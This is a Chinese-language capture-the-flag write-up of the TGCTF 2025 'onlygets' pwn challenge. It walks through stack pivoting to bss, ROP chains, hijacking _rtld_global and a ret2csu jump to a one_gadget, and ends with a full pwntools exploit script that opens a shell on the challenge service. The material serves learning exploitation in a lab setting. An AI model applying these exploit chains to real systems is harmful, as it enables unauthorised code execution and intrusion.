TGCTF 2025 onlygets
0x01 前言
总体来说题目难度适中,后边有两道难题没写出来,还有一题当时唐了没想起来思路,特来记录一下
0x2 onlygets
程序分析
这是一个大道至简的题,简到只有一个gets函数,比赛时候也是没写出来,今天看了一下午的官方wp学到了新姿势。

常规的的栈溢出肯定打不出来了,没有任何输入函数调用
gdb调试一下看看栈信息,发现了栈中有_rtld_global和__libc_start_main+128,这时候就联想到了,利用__libc_start_main+128函数的一个调用链了

在__libc_start_main+128出有这么一段代码,如果我们让rcx为libc的地址,劫持_rtld_global为我们想要的偏移,这样到add rcx ,[r14]就能到达我们想去的位置。

总结思路
总体思路就是:
- 劫持_rtld_global为我们想要的偏移
- 然后调用__libc_start_main+128
说起来好像很简单的样子,实际上一点不难,我就调试了一下午而已(菜菜!!😭)
实现过程
过程一 栈迁移
因为没有输出函数,所以我们没办法泄露栈地址,就没办法对栈进行操作,只能把栈迁移到我们可控的地址 — bss段,如果单纯的迁移到bss段,栈内信息都没了,所以这时候就要控制执行流到start函数,进行初始化信息
1 2 3 4 5 6 7
| payload = b'a' * 0x10 + p64(bss_addr) + p64(read_addr) p.sendline(payload) sleep(0.5)
payload = b'b' * 0x10 + p64(bss_addr) + p64(start_addr) p.sendline(payload) sleep(0.5)
|
调试一下看看情况,成功迁移到bss段并进项栈信息初始化

如果要对_rtld_global进项劫持,可以用pop rdi然后调用gets函数就能设置_rtld_global的值,但是如果我们直接进行覆盖,就会导致_rtld_global的值丢失,这样就达不到我们的目的,所以只能控制输入地址为_rtld_global下面的,先把下面的ROP布置好,然后再迁移回来,进项上面的ROP布置。
过程二 布置ROP链1
如果要对_rtld_global进项劫持,可以用pop rdi然后调用gets函数就能设置_rtld_global的值,但是如果我们直接进行覆盖,就会导致_rtld_global的值丢失,这样就达不到我们的目的,所以只能控制输入地址为_rtld_global下面的,先把下面的ROP布置好,然后再迁移回来,进行上面的ROP布置。
1 2 3 4 5 6 7
| payload = b'c' * 0x10 + p64(0x601170) + p64(read_addr) p.sendline(payload) sleep(0.5)
payload = p64(call_gets) + p64(0) + p64(0x601110) + p64(leave_ret) p.sendline(payload) sleep(0.5)
|
调试一下看看情况,可以看到成功布置了ROP链,同时我们实现了栈迁移回去的作用

这个rbp设置有讲究,需要迁移到栈上信息为main函数的地方,这样执行流又被我们重新控制了

过程三 布置ROP链2
此时我们的栈情况是这样的,接下来就正常布置ROP链

1 2 3
| payload = b'e' * 0x10 + p64(0x601188) + p64(ret_addr) * 6 + p64(pop_rdi)[:-2] p.sendline(payload) sleep(0.5)
|
这里的rbp设置和上面一个道理,因为调用的gets后面有leave_ret,所以还可以实现栈迁移,控制执行流到main

过程四 控制_rtld_global的值
这个值选择也很有讲究,我就是调试的过程中,发现rbp比rsp地址低,有概率出现报错,所以我们直接选择下面空旷的bss段地址,这样设置rbp的地址不容易报错
1 2 3 4 5 6 7 8
| payload = p64(0x6012a0) p.sendline(payload) sleep(0.5)
payload = b'f' * 0x10 + p64(0x6012b0) + p64(read_addr) p.sendline(payload) sleep(0.5)
|
过程五 构造最终payload
这个payload就是输入到_rtld_global控制的那个地址,也就是我们控制的0x6012a0,构造过程需要调试才知道原理,先粘贴出代码
1 2 3 4 5 6 7 8 9 10 11 12
| payload = ( p64(-293 - libc.sym["gets"] + 0xebd3f) + p64(0) + p64(0) + p64(csu_addr) + p64(0) + p64(0x6012a8) + p64(0x6011a8) + p64(0) * 3 + p64(csucall_addr) ).ljust(0xa0, b'\x00') + p64(0x601150) p.sendline(payload) sleep(0.5)
|
我们通过csu技术,控制到 __libc_start_main+128

r12寄存器为__libc_start_main+128地址 , rbx必须为0,这样就能控制到__libc_start_main+128函数了,rbp的值设置为下面空旷bss段地址就行,因为其他函数要进行栈操作,不能不管rbp的值,如果为0,就会报错
这两个行代码就说明为什么要填充0xa0个,然后后面填充一个地址,这个地址是gets残留的上一个地址,因为下面还要对地址进行+8处理

可以看到成功控制到one_gadget

完整脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import * from ctypes import * from LibcSearcher import * from pwnpy import * import sys
filename = './vuln' url = '127.0.0.1:46671' gdbscript = ''' b * 0x00000000004005F1 ''' set_context(log_level='debug', arch='amd64', os='linux', endian='little', timeout=5) p = pr(url = url , filename = filename , gdbscript = gdbscript) elf = ELF(filename) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
bss_addr = 0x0000000000601200 read_addr = 0x00000000004005E5 start_addr = 0x0000000000400480 leave_ret = 0x00000000004005FB call_gets = 0x00000000004005F1 pop_rdi = 0x0000000000400663 ret_addr = 0x00000000004005FC csu_addr = 0x000000000040065A csucall_addr = 0x0000000000400649
payload = b'a' * 0x10 + p64(bss_addr) + p64(read_addr) p.sendline(payload) sleep(0.5)
payload = b'b' * 0x10 + p64(bss_addr) + p64(start_addr) p.sendline(payload) sleep(0.5)
payload = b'c' * 0x10 + p64(0x601170) + p64(read_addr) p.sendline(payload) sleep(0.5)
payload = p64(call_gets) + p64(0) + p64(0x601110) + p64(leave_ret) p.sendline(payload) sleep(0.5)
payload = b'e' * 0x10 + p64(0x601188) + p64(ret_addr) * 6 + p64(pop_rdi)[:-2] p.sendline(payload) sleep(0.5)
payload = p64(0x6012a0) p.sendline(payload) sleep(0.5)
pause() payload = b'f' * 0x10 + p64(0x6012b0) + p64(read_addr) p.sendline(payload) sleep(0.5)
oggs = [0xebc81 , 0xebc85 , 0xebc88 , 0xebce2 , 0xebd38 , 0xebd3f , 0xebd43]
payload = ( p64(-293 - libc.sym["gets"] + 0xebd3f) + p64(0) + p64(0) + p64(csu_addr) + p64(0) + p64(0x6012a8) + p64(0x6011a8) + p64(0) * 3 + p64(csucall_addr) ).ljust(0xa0, b'\x00') + p64(0x601150) p.sendline(payload) sleep(0.5)
p.interactive()
|
总结
方法方法是一种十分考验调试能力,对rbp控制能力的题,写下来收获挺多的。